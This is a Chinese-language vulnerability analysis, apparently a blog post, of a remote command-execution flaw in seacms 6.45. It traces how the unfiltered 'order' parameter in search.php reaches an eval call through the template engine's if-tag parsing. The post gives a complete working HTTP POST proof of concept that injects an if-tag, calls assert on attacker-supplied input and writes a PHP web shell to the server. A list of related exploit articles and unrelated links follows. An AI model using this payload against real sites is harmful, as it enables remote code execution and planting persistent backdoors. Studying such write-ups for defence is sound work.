seacms 6.45 命令执行漏洞分析
前言
这是一个比较老的漏洞了,不过漏洞原理还是挺有意思的。
正文
漏洞位于 search.php 文件中。

首先包含了 common.php, 这个文件里面做了一些初始化工作,其中最重要的是对提交参数的处理。

注册提交的参数为系统全局变量,很容易出现变量覆盖漏洞。
下面回到 search.php , 之后对变量进行处理以及过滤。

然后会 $searchtype 的值来选择渲染内容的模板。

之后就是对模板文件中的内容进行替换。

然后进入 $mainClassObj->parseIf 解析 if 语句

$mainClassObj->parseIf 最后会调用 eval 解析。

我们的目标就是 污染 eval 的参数。
poc:
POST /search.php HTTP/1.1
Host: hack.seacms.top
Content-Length: 176
Cache-Control: max-age=0
Origin: http://hack.seacms.top
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hack.seacms.top/?XDEBUG_SESSION_START=15261
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=clcblhpau94ae8v6mfg5q1iil1; XDEBUG_SESSION=15261
Connection: close
order=}{end%20if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end%20if}&searchtype=5&searchword=123&func=assert&cmd=fwrite(fopen('shell.php','w'),'<?php%20@eval($_POST[x])?>');
输入这个之后,首先闭合前面一个 {if:", 后面再单独形成一个 if 标签。
调试看看,完成替换以后,就会形成
{if:"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}"=="time"}

然后在 parseIf 提取 if 语句对应标签内容时,可以看到我们的输入被识别成了标签。

最后在 eval 时,执行的其实是
if(1)print_r($_POST[func]($_POST[cmd]));//){$ifFlag=true;}else{$ifFlag=false;}
使用searchtype=5 是为了使用 cascade.html 最为模板,因为这里面才有 if 标签

而用 order 来传递 payload, 原因在于 order 变量没有做过滤处理,而且 order 的值会用来替换掉 {searchpage:ordername}.
$content = str_replace("{searchpage:ordername}",$order,$content);
参考
https://bbs.ichunqiu.com/thread-35085-1-1.html
seacms 6.45 命令执行漏洞分析的更多相关文章
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP5 远程命令执行漏洞分析
本文首发自安全脉搏,转载请注明出处. 前言 ThinkPHP官方最近修复了一个严重的远程代码执行漏洞.这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- Maccms8.x 命令执行漏洞分析
下载链接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db 首先打开Index.php $m = be('get','m'); m参数获 ...
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...
- PHPMailer 远程命令执行漏洞 Writeup
漏洞概述 1.漏洞简介 PHPMailer 小于5.2.18的版本存在远程代码执行漏洞.成功利用该漏洞后,攻击者可以远程任意代码执行.许多知名的 CMS 例如 Wordpress 等都是使用这个组件来 ...
- WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析
漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...
- 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析
基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...
- 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析
一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...
随机推荐
- Mac下包管理平台homebrew的使用
一.安装 参考:http://www.cnblogs.com/EasonJim/p/6287098.html 二.使用 假设我要安装node,命令如下: 安装软件 brew install node ...
- Hibernate3.3.2_ID生成策略
1,xml生成id generator:常用四个:native.identity.sequence.uuid. Annotation: 1,@GeneratedValue: a)自定义ID b)AUT ...
- Android AES加密工具类实现(基础回顾)
package com.powercreator.cms.util; import java.security.SecureRandom; import javax.crypto.Cipher; im ...
- 使用 Angular 和 RxJS 实现的无限滚动加载
无限滚动加载应该是怎样的? 无限滚动加载列表在用户将页面滚动到指定位置后会异步加载数据.这是避免寻主动加载(每次都需要用户去点击)的好方法,而且它能真正保持应用的性能.同时它还是降低带宽和增强用户体验 ...
- VS中自定义C#快速简写代码
首先在VS中找到工具——代码片段管理器——语言选择(CSharp)——Visual C#——赋值路径——根据路径找到对应的代码片段用VS打开 修改: Title——标题 ShortCut——缩写 D ...
- 数据集DataSet
ADO.NET数据访问技术的一个突出的特点就是支持离线访问,而实现这种离线访问技术的核心就是DateSet对象,该对象通过将数据驻留在内存来实现离线访问. DataSet对象由一组DataTable对 ...
- DateReader读取数据
DateReader对象提供了用循序的.只读的方式读取Command对象获取的数据结果集正是因为DateReader是以循序的方法连续地读取数据,所以DateReader会以独占的方式打开数据库连接. ...
- C# 转换Json类
using System; using System.Collections.Generic; using System.Text; using System.Data; using System.R ...
- Dapper的简单使用(初学者归纳)
Dapper的简单使用(初学者归纳) //引用:using System;using System.Collections.Generic;using System.Linq;using System ...
- 3.java设计模式-建造者模式
Java设计模式-建造者模式 在<JAVA与模式>一书中开头是这样描述建造(Builder)模式的: 建造模式是对象的创建模式.建造模式可以将一个产品的内部表象(internal repr ...